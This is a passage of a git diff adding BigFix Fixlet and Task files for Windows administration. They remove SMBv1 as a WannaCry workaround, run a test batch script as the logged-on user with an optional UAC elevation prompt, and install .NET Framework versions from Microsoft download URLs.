+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Gracefully remove SMB v1 - Windows 8.1, Windows 10, Windows 2012 R2, and Windows Server 2016</Title>
+    <Description><![CDATA[<SPAN itemprop="description">
+<P>To support WannaCry2.0 SMB workaround if you cannot apply MS17-010 patch.</P>
+<P><A href="https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012"><FONT color=#0066cc>https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012</FONT></A></P>
+<P>Recommended you apply MS17-010 using the published Fixlets.</P></SPAN>]]></Description>
+    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
+    <Relevance>(name of it = &quot;Win2012R2&quot; or name of it = &quot;Win8.1&quot; or name of it = &quot;Win2016&quot; or name of it = &quot;Win10&quot;) of operating system</Relevance>
+    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mrxsmb10&quot; of native registry</Relevance>
+    <Category>Workaround</Category>
+    <Source>brolly33</Source>
+    <SourceReleaseDate>2017-05-15</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 15 May 2017 21:03:55 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Using Powershell Template https://bigfix.me/fixlet/details/3860
+
+// Disable wow64 redirection on x64 OSes
+action uses wow64 redirection {not x64 of operating system}
+
+delete __createfile
+
+//    CREATEFILE
+createfile until END_OF_FILE
+
+Remove-WindowsFeature -Name FS-SMB1
+
+END_OF_FILE
+
+delete powershell.ps1
+move __createfile powershell.ps1
+
+waithidden { pathname of file ((it as string) of value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of native registry) } -ExecutionPolicy Bypass -File powershell.ps1
+action requires restart</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Gracefully remove SMB v1 Client - Windows 8.1, Windows 10, Windows 2012 R2, and Windows Server 2016 (24322).bes b/Sites/Windows Management/Fixlets/Fixlets/Gracefully remove SMB v1 Client - Windows 8.1, Windows 10, Windows 2012 R2, and Windows Server 2016 (24322).bes
new file mode 100644
index 000000000..43dd4bf8f
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Gracefully remove SMB v1 Client - Windows 8.1, Windows 10, Windows 2012 R2, and Windows Server 2016 (24322).bes	
@@ -0,0 +1,57 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Gracefully remove SMB v1 Client - Windows 8.1, Windows 10, Windows 2012 R2, and Windows Server 2016
+  ID       : 24322
+  Author   : brolly33
+  Domain   : BESC
+  Imported : 2017-05-15T18:22:47
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Gracefully remove SMB v1 Client - Windows 8.1, Windows 10, Windows 2012 R2, and Windows Server 2016</Title>
+    <Description><![CDATA[<SPAN itemprop="description">
+<P>To support WannaCry2.0 SMB workaround if you cannot apply MS17-010 patch.</P>
+<P><A href="https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012"><FONT color=#0066cc>https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012</FONT></A></P>
+<P>Recommended you apply MS17-010 using the published Fixlets.</P></SPAN>]]></Description>
+    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
+    <Relevance>(name of it = &quot;Win2012R2&quot; or name of it = &quot;Win8.1&quot; or name of it = &quot;Win2016&quot; or name of it = &quot;Win10&quot;) of operating system</Relevance>
+    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ServerManager\ServicingStorage\ServerComponentCache\FS-SMB1&quot; whose (value &quot;InstallState&quot; of it = 1) of native registry</Relevance>
+    <Category>Workaround</Category>
+    <Source>brolly33</Source>
+    <SourceReleaseDate>2017-05-15</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 15 May 2017 23:08:16 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Using Powershell Template https://bigfix.me/fixlet/details/3860
+
+// Disable wow64 redirection on x64 OSes
+action uses wow64 redirection {not x64 of operating system}
+
+delete __createfile
+
+//    CREATEFILE
+createfile until END_OF_FILE
+
+Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol -NoRestart
+
+END_OF_FILE
+
+delete powershell.ps1
+move __createfile powershell.ps1
+
+waithidden { pathname of file ((it as string) of value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of native registry) } -ExecutionPolicy Bypass -File powershell.ps1
+action requires restart</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/HCL Labs_  Run as Local User without or Without Elevation (Interactive) (26940).bes b/Sites/Windows Management/Fixlets/Fixlets/HCL Labs_  Run as Local User without or Without Elevation (Interactive) (26940).bes
new file mode 100644
index 000000000..456eb5a9a
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/HCL Labs_  Run as Local User without or Without Elevation (Interactive) (26940).bes	
@@ -0,0 +1,136 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : HCL Labs:  Run as Local User without or Without Elevation (Interactive)
+  ID       : 26940
+  Author   : JasonWalker
+  Domain   : BESC
+  Imported : 2022-07-19T13:06:50
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>HCL Labs: Run as Local User without or Without Elevation (Interactive)</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2019-05-20</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 19 Jul 2022 16:21:02 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to run script without elevation.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Enter your action script here
+delete __createfile
+createfile until EOF_EOF_EOF
+echo test > %systemroot%\test.out
+EOF_EOF_EOF
+
+
+parameter "user_name"="{(preceding text of first "|" of it | it) of concatenation "|" of names of logged on users}"
+parameter "user_profile"="{(preceding text of first "|" of it | it) of concatenation "|" of profile folders of users of logged on users}"
+// DOMAIN\ should be specified *only* for domain users.  Local users should have not prefix, not even COMPUTERNAME\user
+parameter "user_domain_name"="{(preceding text of first "|" of it | it) of concatenation "|" of ((if exists domain whose (it as lowercase != computer name as lowercase) of it then domain of it & "\" else "") of user of it & name of it) of logged on users}"
+if {exists logged on users}
+
+folder create "{parameter "user_profile"}\BES_Action"
+delete "{parameter "user_profile"}\BES_Action\test.cmd"
+copy __createfile "{parameter "user_profile"}\BES_Action\test.cmd"
+
+// Important - the check for elevation fails in 32-bit mode because \windows\syswow64\config does not exist
+action uses wow64 redirection false
+
+override wait
+hidden=false
+runas=localuser
+user={parameter "user_domain_name"}
+password=impersonate
+wait cmd.exe /C "{parameter "user_profile"}\BES_Action\test.cmd"
+
+else
+ parameter "Skipped"="No logged on user"
+endif
+
+]]></ActionScript>
+    </DefaultAction>
+    <Action ID="Action28258">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to run script with elevation prompt.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Enter your action script here
+delete __createfile
+createfile until EOF_EOF_EOF
+@REM Check for elevated permissions
+@"%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system" >nul 2>&1
+
+@REM --> If error flag set, we do not have admin.
+@if '%ERRORLEVEL%' NEQ '0' (
+    @echo Requesting administrative privileges...
+    @goto UACPrompt
+) else ( @goto gotAdmin )
+
+:UACPrompt
+    @del /q "%temp%\getadmin.vbs" > NUL 2>&1
+    @IF EXIST "%temp%\getadmin.vbs"  @echo Unable to clear previous getadmin.vbs, aborting... & exit /B 1
+    @echo msgbox "A BigFix Action run in user context requires administrative elevation.  Please accept the following elevation prompt from User Access Control (UAC)",0,"BigFix Elevation Prompt" > "%temp%\getadmin.vbs"
+    @echo Set UAC = CreateObject^("Shell.Application"^) >> "%temp%\getadmin.vbs"
+    @echo UAC.ShellExecute "%~s0", "", "", "runas", 1 >> "%temp%\getadmin.vbs"
+
+    @wscript.exe "%temp%\getadmin.vbs"
+    @exit /B
+
+:gotAdmin
+    @if exist "%temp%\getadmin.vbs" ( del "%temp%\getadmin.vbs" )
+    @pushd "%CD%"
+   @REM CD /D "%~dp0"
+
+@REM ############################################
+@REM Now do the things that required elevation
+
+echo test > %systemroot%\test.out
+exit /B %ERRORLEVEL%
+
+@REM ############ End of batch script ###########
+
+
+EOF_EOF_EOF
+
+//RunAs=currentuser
+//asadmin=interactive
+parameter "user_name"="{(preceding text of first "|" of it | it) of concatenation "|" of names of logged on users}"
+parameter "user_profile"="{(preceding text of first "|" of it | it) of concatenation "|" of profile folders of users of logged on users}"
+// DOMAIN\ should be specified *only* for domain users.  Local users should have not prefix, not even COMPUTERNAME\user
+parameter "user_domain_name"="{(preceding text of first "|" of it | it) of concatenation "|" of ((if exists domain whose (it as lowercase != computer name as lowercase) of it then domain of it & "\" else "") of user of it & name of it) of logged on users}"
+if {exists logged on users}
+
+folder create "{parameter "user_profile"}\BES_Action"
+delete "{parameter "user_profile"}\BES_Action\test.cmd"
+copy __createfile "{parameter "user_profile"}\BES_Action\test.cmd"
+
+// Important - the check for elevation fails in 32-bit mode because \windows\syswow64\config does not exist
+action uses wow64 redirection false
+
+override wait
+hidden=false
+runas=localuser
+user={parameter "user_domain_name"}
+password=impersonate
+wait cmd.exe /C "{parameter "user_profile"}\BES_Action\test.cmd"
+
+else
+ parameter "Skipped"="No logged on user"
+endif
+
+]]></ActionScript>
+    </Action>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/HCL Labs_  Run as Local User without or Without Elevation (Interactive) (26941).bes b/Sites/Windows Management/Fixlets/Fixlets/HCL Labs_  Run as Local User without or Without Elevation (Interactive) (26941).bes
new file mode 100644
index 000000000..351771b6c
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/HCL Labs_  Run as Local User without or Without Elevation (Interactive) (26941).bes	
@@ -0,0 +1,136 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : HCL Labs:  Run as Local User without or Without Elevation (Interactive)
+  ID       : 26941
+  Author   : JasonWalker
+  Domain   : BESC
+  Imported : 2022-07-19T13:06:52
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>HCL Labs: Run as Local User without or Without Elevation (Interactive)</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2019-05-20</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 19 Jul 2022 16:21:02 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to run script without elevation.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Enter your action script here
+delete __createfile
+createfile until EOF_EOF_EOF
+echo test > %systemroot%\test.out
+EOF_EOF_EOF
+
+
+parameter "user_name"="{(preceding text of first "|" of it | it) of concatenation "|" of names of logged on users}"
+parameter "user_profile"="{(preceding text of first "|" of it | it) of concatenation "|" of profile folders of users of logged on users}"
+// DOMAIN\ should be specified *only* for domain users.  Local users should have not prefix, not even COMPUTERNAME\user
+parameter "user_domain_name"="{(preceding text of first "|" of it | it) of concatenation "|" of ((if exists domain whose (it as lowercase != computer name as lowercase) of it then domain of it & "\" else "") of user of it & name of it) of logged on users}"
+if {exists logged on users}
+
+folder create "{parameter "user_profile"}\BES_Action"
+delete "{parameter "user_profile"}\BES_Action\test.cmd"
+copy __createfile "{parameter "user_profile"}\BES_Action\test.cmd"
+
+// Important - the check for elevation fails in 32-bit mode because \windows\syswow64\config does not exist
+action uses wow64 redirection false
+
+override wait
+hidden=false
+runas=localuser
+user={parameter "user_domain_name"}
+password=impersonate
+wait cmd.exe /C "{parameter "user_profile"}\BES_Action\test.cmd"
+
+else
+ parameter "Skipped"="No logged on user"
+endif
+
+]]></ActionScript>
+    </DefaultAction>
+    <Action ID="Action28260">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to run script with elevation prompt.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Enter your action script here
+delete __createfile
+createfile until EOF_EOF_EOF
+@REM Check for elevated permissions
+@"%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system" >nul 2>&1
+
+@REM --> If error flag set, we do not have admin.
+@if '%ERRORLEVEL%' NEQ '0' (
+    @echo Requesting administrative privileges...
+    @goto UACPrompt
+) else ( @goto gotAdmin )
+
+:UACPrompt
+    @del /q "%temp%\getadmin.vbs" > NUL 2>&1
+    @IF EXIST "%temp%\getadmin.vbs"  @echo Unable to clear previous getadmin.vbs, aborting... & exit /B 1
+    @echo msgbox "A BigFix Action run in user context requires administrative elevation.  Please accept the following elevation prompt from User Access Control (UAC)",0,"BigFix Elevation Prompt" > "%temp%\getadmin.vbs"
+    @echo Set UAC = CreateObject^("Shell.Application"^) >> "%temp%\getadmin.vbs"
+    @echo UAC.ShellExecute "%~s0", "", "", "runas", 1 >> "%temp%\getadmin.vbs"
+
+    @wscript.exe "%temp%\getadmin.vbs"
+    @exit /B
+
+:gotAdmin
+    @if exist "%temp%\getadmin.vbs" ( del "%temp%\getadmin.vbs" )
+    @pushd "%CD%"
+   @REM CD /D "%~dp0"
+
+@REM ############################################
+@REM Now do the things that required elevation
+
+echo test > %systemroot%\test.out
+exit /B %ERRORLEVEL%
+
+@REM ############ End of batch script ###########
+
+
+EOF_EOF_EOF
+
+//RunAs=currentuser
+//asadmin=interactive
+parameter "user_name"="{(preceding text of first "|" of it | it) of concatenation "|" of names of logged on users}"
+parameter "user_profile"="{(preceding text of first "|" of it | it) of concatenation "|" of profile folders of users of logged on users}"
+// DOMAIN\ should be specified *only* for domain users.  Local users should have not prefix, not even COMPUTERNAME\user
+parameter "user_domain_name"="{(preceding text of first "|" of it | it) of concatenation "|" of ((if exists domain whose (it as lowercase != computer name as lowercase) of it then domain of it & "\" else "") of user of it & name of it) of logged on users}"
+if {exists logged on users}
+
+folder create "{parameter "user_profile"}\BES_Action"
+delete "{parameter "user_profile"}\BES_Action\test.cmd"
+copy __createfile "{parameter "user_profile"}\BES_Action\test.cmd"
+
+// Important - the check for elevation fails in 32-bit mode because \windows\syswow64\config does not exist
+action uses wow64 redirection false
+
+override wait
+hidden=false
+runas=localuser
+user={parameter "user_domain_name"}
+password=impersonate
+wait cmd.exe /C "{parameter "user_profile"}\BES_Action\test.cmd"
+
+else
+ parameter "Skipped"="No logged on user"
+endif
+
+]]></ActionScript>
+    </Action>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Install Microsoft .NET Framework 2.0 Service Pack 2 (106).bes b/Sites/Windows Management/Fixlets/Fixlets/Install Microsoft .NET Framework 2.0 Service Pack 2 (106).bes
new file mode 100644
index 000000000..a9dc2eacc
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Install Microsoft .NET Framework 2.0 Service Pack 2 (106).bes	
@@ -0,0 +1,55 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Install Microsoft .NET Framework 2.0 Service Pack 2
+  ID       : 106
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2012-10-17T09:31:55
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Install Microsoft .NET Framework 2.0 Service Pack 2</Title>
+    <Description><![CDATA[The .NET Framework 2.0 Service Pack 2 provides cumulative roll-up updates for customer reported issues found after the release of the .NET Framework 2.0. In addition, this release provides performance improvements, and prerequisite feature support for the .NET Framework 3.5 Service Pack 1. <BR><BR>Please review the supported operating systems for this deployment package in the System Requirements section. The corresponding updates for Windows Vista and Microsoft Windows 2008 are deployed via the full .NET Framework 3.5 service pack 1. ]]></Description>
+    <Relevance>(name of it = &quot;Win2000&quot; OR name of it = &quot;WinXP&quot; OR name of it = &quot;WinXP-2003&quot; OR (name of it = &quot;Win2003&quot; AND NOT x64 of it) OR (name of it = &quot;Win2003&quot; AND x64 of it) OR (name of it = &quot;WinVista&quot; AND product type of it = nt workstation product type AND NOT x64 of it) OR (name of it = &quot;WinVista&quot; AND product type of it = nt workstation product type AND x64 of it) OR ((name of it = &quot;Win2008&quot; or (name of it = &quot;WinVista&quot; and product type of it != nt workstation product type)) AND NOT x64 of it) OR ((name of it = &quot;Win2008&quot; or (name of it = &quot;WinVista&quot; and product type of it != nt workstation product type)) AND x64 of it) OR (name of it = &quot;Win7&quot; AND NOT x64 of it) OR (name of it = &quot;Win7&quot; AND x64 of it) OR name of it = &quot;Win2008R2&quot; OR name of it = &quot;WinXPe&quot;) of operating system AND TRUE</Relevance>
+    <Category>Install</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2012-10-03</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-source</Name>
+      <Value>Software Distribution Wizard</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 03 Oct 2012 16:26:15 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here </Link>
+        <PostLink>to initiate the deployment process.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">if {x64 of operating system}
+	prefetch NetFx20SP2_x64.exe sha1:a7cc6c6e5a4ad9cdf3df16a7d277eb09fec429b7 size:48524296 http://download.microsoft.com/download/c/6/e/c6e88215-0178-4c6c-b5f3-158ff77b1f38/NetFx20SP2_x64.exe
+	wait __Download\NetFx20SP2_x64.exe /quiet /norestart
+else
+	prefetch NetFx20SP2_x86.exe sha1:22d776d4d204863105a5db99e8b8888be23c61a7 size:25001480 http://download.microsoft.com/download/c/6/e/c6e88215-0178-4c6c-b5f3-158ff77b1f38/NetFx20SP2_x86.exe
+	wait __Download\NetFx20SP2_x86.exe /quiet /norestart
+endif</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+    <Action ID="Action263">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to learn more about this software.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://www.microsoft.com/en-us/download/details.aspx?id=1639</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Install Microsoft .NET Framework 3.5 (104).bes b/Sites/Windows Management/Fixlets/Fixlets/Install Microsoft .NET Framework 3.5 (104).bes
new file mode 100644
index 000000000..acf44dcb7
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Install Microsoft .NET Framework 3.5 (104).bes	
@@ -0,0 +1,58 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Install Microsoft .NET Framework 3.5
+  ID       : 104
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2012-10-17T09:31:55
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Install Microsoft .NET Framework 3.5</Title>
+    <Description><![CDATA[NET Framework 3.5 builds incrementally on the new features added in .NET Framework 3.0. For example, feature sets in Windows Workflow Foundation (WF), Windows Communication Foundation (WCF), Windows Presentation Foundation (WPF) and Windows CardSpace. In addition, .NET Framework 3.5 contains a number of new features in several technology areas which have been added as new assemblies to avoid breaking changes. They include the following: <BR>
+<UL>
+<LI>Deep integration of Language Integrated Query (LINQ) and data awareness. This new feature will let you write code written in LINQ-enabled languages to filter, enumerate, and create projections of several types of SQL data, collections, XML, and DataSets by using the same syntax.
+<LI>ASP.NET AJAX lets you create more efficient, more interactive, and highly-personalized Web experiences that work across all the most popular browsers.
+<LI>New Web protocol support for building WCF services including AJAX, JSON, REST, POX, RSS, ATOM, and several new WS-* standards.
+<LI>Full tooling support in Visual Studio 2008 for WF, WCF, and WPF, including the new workflow-enabled services technology.
+<LI>New classes in .NET Framework 3.5 base class library (BCL) that address many common customer requests.</LI></UL>]]></Description>
+    <Relevance>(name of it = &quot;WinXP&quot; OR name of it = &quot;WinXP-2003&quot; OR (name of it = &quot;Win2003&quot; AND NOT x64 of it) OR (name of it = &quot;Win2003&quot; AND x64 of it) OR (name of it = &quot;WinVista&quot; AND product type of it = nt workstation product type AND NOT x64 of it) OR (name of it = &quot;WinVista&quot; AND product type of it = nt workstation product type AND x64 of it) OR ((name of it = &quot;Win2008&quot; or (name of it = &quot;WinVista&quot; and product type of it != nt workstation product type)) AND NOT x64 of it) OR ((name of it = &quot;Win2008&quot; or (name of it = &quot;WinVista&quot; and product type of it != nt workstation product type)) AND x64 of it) OR (name of it = &quot;Win7&quot; AND NOT x64 of it) OR (name of it = &quot;Win7&quot; AND x64 of it) OR name of it = &quot;Win2008R2&quot;) of operating system</Relevance>
+    <Relevance>not exists key &quot;HKLM\SOFTWARE\Microsoft\.NETFramework\v3.0&quot; of native registry</Relevance>
+    <Category>Install</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2012-10-02</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-source</Name>
+      <Value>Software Distribution Wizard</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 03 Oct 2012 16:04:19 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here </Link>
+        <PostLink>to initiate the deployment process.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">prefetch dotNetFx35setup.exe sha1:b0ca05c12ebb9a3610206bad7f219e02b7873cbd size:2869264 http://download.microsoft.com/download/7/0/3/703455ee-a747-4cc8-bd3e-98a615c3aedb/dotNetFx35setup.exe
+wait __Download\dotNetFx35setup.exe /norestart /quiet
+</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+    <Action ID="Action259">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to learn more about this software.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://www.microsoft.com/en-us/download/details.aspx?id=21</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Install Microsoft .NET Framework 4 (3626).bes b/Sites/Windows Management/Fixlets/Fixlets/Install Microsoft .NET Framework 4 (3626).bes
new file mode 100644
index 000000000..7e2317bf4
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Install Microsoft .NET Framework 4 (3626).bes	
@@ -0,0 +1,82 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Install Microsoft .NET Framework 4
+  ID       : 3626
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2013-10-22T13:03:21
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Install Microsoft .NET Framework 4</Title>
+    <Description><![CDATA[<P>The .NET Framework is Microsoft's comprehensive and consistent programming model for building applications that have visually stunning user experiences, seamless and secure communication, and the ability to model a range of business processes.<BR><BR>The .NET Framework 4 works side by side with older Framework versions. Applications that are based on earlier versions of the Framework will continue to run on the version targeted by default.<BR><BR>The Microsoft .NET Framework 4 provides the following new features and improvements:<BR><BR>
+<UL>
+<LI>Improvements in Common Language Runtime (CLR) and Base Class Library (BCL)
+<UL>
+<LI>Performance improvement including better multicore support, background garbage collection, and profiler attach on server.
+<LI>New memory mapped file and numeric types.
+<LI>Easier debugging including dump debugging, Watson minidumps, mixed mode debugging for 64 bit and code contracts.
+<LI>For a comprehensive list of enhancements to CLR and BCL go <A href="http://msdn.microsoft.com/en-us/library/ms171868(v=VS.100).aspx"><FONT color=#000080>here</FONT></A>.</LI></UL>
+<LI>Innovations in the Visual Basic and C# languages, for example statement lambdas, implicit line continuations, dynamic dispatch, and named/optional parameters.
+<LI>Improvements in Data Access and Modeling
+<UL>
+<LI>The Entity Framework enables developers to program against relational databases using .NET objects and Language Integrated Query (LINQ). It has many new features, including persistence ignorance and POCO support, foreign key associations, lazy loading, test-driven development support, functions in the model, and new LINQ operators. Additional features include better n-tier support with self-tracking entities, customizable code generation using T4 templates, model first development, an improved designer experience, better performance, and pluralization of entity sets. For more information go <A href="http://msdn.microsoft.com/en-us/library/ex6y04yf(VS.100).aspx"><FONT color=#000080>here</FONT></A>.
+<LI>WCF Data Services is a component of the .NET Framework that enables you to create REST-based services and applications that use the Open Data Protocol (OData) to expose and consume data over the Web. WCF Data Services has many new features, including enhanced BLOB support, data binding, row count, feed customization, projections, and request pipeline improvements. Built-in integration with Microsoft Office 2010 now makes it possible to expose Microsoft Office SharePoint Server data as an OData feed and access that data feed by using the WCF Data Services client library. For more information go <A href="http://msdn.microsoft.com/en-us/library/ee373845(VS.100).aspx"><FONT color=#000080>here</FONT></A>.</LI></UL>
+<LI>Enhancements to ASP.NET
+<UL>
+<LI>More control over HTML, element IDs and custom CSS that make it much easier to create standards-compliant and SEO-friendly web forms.
+<LI>New dynamic data features including new query filters, entity templates, richer support for Entity Framework 4, and validation and templating features that can be easily applied to existing web forms.
+<LI>Web forms support for new AJAX library improvements including built-in support for content delivery networks (CDNs).
+<LI>For a comprehensive list of enhancements to ASP.NET go <A href="http://www.asp.net/learn/whitepapers/aspnet4/"><FONT color=#000080>here</FONT></A>.</LI></UL>
+<LI>Improvements in Windows Presentation Foundation (WPF)
+<UL>
+<LI>Added support for Windows 7 multi-touch, ribbon controls, and taskbar extensibility features.
+<LI>Added support for Surface 2.0 SDK.
+<LI>New line-of-business controls including charting control, smart edit, data grid, and others that improve the experience for developers who build data centric applications.
+<LI>Improvements in performance and scalability.
+<LI>Visual improvements in text clarity, layout pixel snapping, localization, and interoperability.
+<LI>For a comprehensive list of enhancements to WPF go <A href="http://msdn.microsoft.com/en-us/library/bb613588(VS.100).aspx"><FONT color=#000080>here</FONT></A>.</LI></UL>
